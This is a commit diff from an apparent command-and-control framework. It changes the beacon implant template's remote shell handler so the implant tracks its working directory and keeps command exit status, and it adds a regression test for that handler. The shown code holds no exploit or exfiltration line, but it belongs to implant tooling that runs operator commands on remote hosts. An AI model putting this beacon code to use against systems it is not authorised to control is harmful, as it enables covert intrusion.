fix: preserve shell output and clarify fact relationships

internal/c2/beacon_shell_template_test.go

@@ -0,0 +1,86 @@
+package c2
+
+import (
+	"bytes"
+	"go/ast"
+	"go/format"
+	"go/parser"
+	"go/token"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"regexp"
+	"runtime"
+	"testing"
+)
+
+// Execute only the shell helpers from the template, never its transport loop.
+func TestBeaconShellTemplateSeparatesCwdAndPreservesExitStatus(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("Unix shell regression")
+	}
+	raw, err := os.ReadFile("payload_templates/beacon.go.tmpl")
+	if err != nil {
+		t.Fatal(err)
+	}
+	raw = regexp.MustCompile(`\{\{\.(SleepSeconds|JitterPercent)\}\}`).ReplaceAll(raw, []byte("5"))
+	fset := token.NewFileSet()
+	file, err := parser.ParseFile(fset, "template.go", raw, 0)
+	if err != nil {
+		t.Fatal(err)
+	}
+	var code bytes.Buffer
+	code.WriteString(`package main
+import("crypto/rand";"fmt";"os";"os/exec";"path/filepath";"runtime";"strings";"sync";"time")
+var cwdMu sync.Mutex
+var currentCwd string
+func prepareHiddenCmd(cmd *exec.Cmd) {}
+`)
+	needed := map[string]bool{"taskShell": true, "runWithTimeout": true, "getTimeoutFromPayload": true, "shellByOS": true, "shellFlag": true}
+	for _, declaration := range file.Decls {
+		if fn, ok := declaration.(*ast.FuncDecl); ok && needed[fn.Name.Name] {
+			if err := format.Node(&code, fset, fn); err != nil {
+				t.Fatal(err)
+			}
+			code.WriteByte('\n')
+			delete(needed, fn.Name.Name)
+		}
+	}
+	if len(needed) != 0 {
+		t.Fatal("missing template helpers")
+	}
+	dir := t.TempDir()
+	for name, content := range map[string]string{
+		"go.mod":   "module shellregression\ngo 1.23\n",
+		"shell.go": code.String(),
+		"shell_test.go": `package main
+import("os";"path/filepath";"testing")
+func TestShell(t *testing.T) {
+ currentCwd=t.TempDir()
+ cases:=[]struct{cmd,want string; failed bool}{
+  {"printf hello","hello",false},
+  {"printf 'hello\\n'","hello\n",false},
+  {"printf hello;","hello",false},
+  {"sleep 0.01;","",false},
+  {"printf hello; false;","hello",true},
+  {"printf hello # comment","hello",false},
+ }
+ for _, c:=range cases {out,_,_,failure:=taskShell(map[string]interface{}{"command":c.cmd}); if out!=c.want || (failure!="")!=c.failed {t.Fatalf("%q output=%q failure=%q",c.cmd,out,failure)} }
+ target:=filepath.Join(currentCwd,"directory with spaces")
+ if err:=os.Mkdir(target,0700);err!=nil{t.Fatal(err)}
+ out,_,_,failure:=taskShell(map[string]interface{}{"command":"cd '"+target+"'; printf OK"})
+ if out!="OK" || failure!="" || currentCwd!=target {t.Fatalf("cwd/output failure: %q %q",out,failure)}
+}
+`,
+	} {
+		if err := os.WriteFile(filepath.Join(dir, name), []byte(content), 0600); err != nil {
+			t.Fatal(err)
+		}
+	}
+	cmd := exec.Command("go", "test", "-count=1", ".")
+	cmd.Dir = dir
+	cmd.Env = append(os.Environ(), "GOPROXY=off", "GOWORK=off")
+	if output, err := cmd.CombinedOutput(); err != nil {
+		t.Fatalf("shell regression: %v\n%s", err, output)
+	}
+}

internal/c2/payload_templates/beacon.go.tmpl

@@ -783,10 +783,18 @@ func taskShell(payload map[string]interface{}) (string, string, string, string)
 	// Append a pwd/cd probe to the command so we can capture the real cwd
 	// after the user's command runs (e.g. "cd /tmp && ls" → cwd becomes /tmp).
 	var probe string
+	var cwdMarker string
 	if runtime.GOOS == "windows" {
 		probe = " && cd"
 	} else {
-		probe = " && pwd"
+		markerBytes := make([]byte, 12)
+		if _, err := rand.Read(markerBytes); err != nil {
+			return "", "", "", "cannot prepare cwd probe"
+		}
+		cwdMarker = fmt.Sprintf("__CSAI_CWD_%x__", markerBytes)
+		// A newline accepts a trailing semicolon/comment. Preserve the command's
+		// exit status and separate probe output even when stdout has no newline.
+		probe = "\n__csai_command_status=$?\nprintf '\\n" + cwdMarker + "'; pwd\nexit \"$__csai_command_status\""
 	}
 	combined := cmdStr + probe
 
@@ -794,15 +802,29 @@ func taskShell(payload map[string]interface{}) (string, string, string, string)
 
 	// The last line of output is the cwd from the probe command.
 	// Split it off so we don't return the probe output to the operator.
-	lines := strings.Split(strings.TrimRight(out, "\r\n"), "\n")
-	if len(lines) > 0 {
-		candidate := strings.TrimSpace(lines[len(lines)-1])
-		if filepath.IsAbs(candidate) {
-			if info, statErr := os.Stat(candidate); statErr == nil && info.IsDir() {
-				cwdMu.Lock()
-				currentCwd = candidate
-				cwdMu.Unlock()
-				out = strings.Join(lines[:len(lines)-1], "\n")
+	if cwdMarker != "" {
+		if idx := strings.LastIndex(out, "\n"+cwdMarker); idx >= 0 {
+			candidate := strings.TrimRight(out[idx+len(cwdMarker)+1:], "\r\n")
+			if filepath.IsAbs(candidate) {
+				if info, statErr := os.Stat(candidate); statErr == nil && info.IsDir() {
+					cwdMu.Lock()
+					currentCwd = candidate
+					cwdMu.Unlock()
+					out = out[:idx]
+				}
+			}
+		}
+	} else {
+		lines := strings.Split(strings.TrimRight(out, "\r\n"), "\n")
+		if len(lines) > 0 {
+			candidate := strings.TrimSpace(lines[len(lines)-1])
+			if filepath.IsAbs(candidate) {
+				if info, statErr := os.Stat(candidate); statErr == nil && info.IsDir() {
+					cwdMu.Lock()
+					currentCwd = candidate
+					cwdMu.Unlock()
+					out = strings.Join(lines[:len(lines)-1], "\n")
+				}
 			}
 		}
 	}